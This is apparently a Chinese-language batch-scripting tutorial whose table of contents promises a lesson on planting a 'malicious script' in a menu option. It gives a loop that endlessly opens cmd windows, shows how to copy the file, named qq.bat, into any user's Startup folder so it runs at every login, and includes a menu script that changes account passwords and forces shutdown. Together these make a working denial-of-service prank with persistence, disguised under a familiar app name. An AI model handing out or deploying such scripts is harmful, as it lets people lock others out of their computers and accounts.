目录
5.如何修改上面那个程序,让其中的一个选项带有恶意脚本(节选)
1.如何制作一个死循环(简单)
:d
start
goto d
- 这里单写一个start是打开cmd窗口,start后面写地址就是打开其他的东西了。
- :d 注意:一定是要用英文的,中文没有作用
goto 区块名 #程序跳该区块
例如:goto menu #程序跳至“menu区块”,中间被跳过的区块就作废了
2.如何在启动项中打开这个程序
启动项:就是开机的时候系统会在前台或者后台运行的程序。当操作系统完成登录过程,进程表中出现了很多的进程。操作系统在启动的时候,自动加载了很多程序。
- copy 原地址 目的地址 复制粘贴
copy qq.bat C:\Documents and Settings\用户名\「开始」菜单\程序\启动
:d
start
goto d
升级版:因为如果放到别的电脑,用户名不同也无法运行。并且像xp都没有管理员登录,那不就没有用了。
copy qq.bat “%userprofile%\「开始」菜单\程序\启动”
:d
start
goto d
- 像带有特殊符号(「开始」)的,要在前后加一个 " " 。
- userprofile是变量 (userprofile代表的是你的系统登录名,你的系统登录名是什么,他就是什么)——这样保证了哪怕在不同的用户名下也能在开始菜单的启动项里运行。
- 两边加%,代表取值。

3.写一个小程序(变量)
@echo off
color 0a
title 哈哈小程序v1.0
echo ==========================
echo 菜单
echo 1、修改管理员密码
echo 2、定时关机
echo 3、取消定时
echo 4、退出程序
echo ===========================
:1
set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p% >nul
:2
set /p a=请输入时间(单位/秒):
shutdown -s -f -t %a%
:3
shutdown -a
:4
exit
pause
set /p u= ( 字符串 ) #获取输入的字符,将其赋值给变量u
%u% #提取变量u的值
- set /p u=请输入用户名: 红字部分是给别人看的(因为你加了/p(/p是选项的意思),如果没加的确是u=请输入用户名)
net user 用户名 密码 #修改账户密码(windows所有平台支持)
>nul #清除一条命令执行后系统反馈